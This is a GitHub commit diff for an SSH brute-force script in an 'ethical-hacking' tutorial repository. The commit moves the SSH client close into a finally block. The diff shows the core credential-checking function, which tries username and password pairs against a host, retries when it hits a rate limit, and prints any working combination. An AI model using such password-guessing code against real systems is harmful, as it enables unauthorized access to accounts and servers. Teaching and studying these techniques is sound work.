Skip to content

Commit d4c969c

Browse files
author
Michael Woolweaver
authored
ensure ssh connection is always after we are done with it
1 parent 6dcc1b4 commit d4c969c

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

‎ethical-hacking/bruteforce-ssh/bruteforce_ssh.py‎

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -22,20 +22,22 @@ def is_ssh_open(hostname, username, password):
2222
exceptsocket.timeout:
2323
# this is when host is unreachable
2424
print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
25-
returnFalse
25+
returning=False
2626
exceptparamiko.AuthenticationException:
2727
print(f"[!] Invalid credentials for {username}:{password}")
28-
returnFalse
28+
returning=False
2929
exceptparamiko.SSHException:
3030
print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
3131
# sleep for a minute
3232
time.sleep(60)
33-
returnis_ssh_open(hostname, username, password)
33+
returning=is_ssh_open(hostname, username, password)
3434
else:
3535
# connection was established successfully
3636
print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
37+
returning=True
38+
finally:
3739
client.close()
38-
returnTrue
40+
returnreturning
3941

4042

4143
if__name__=="__main__":

0 commit comments

Comments
(0)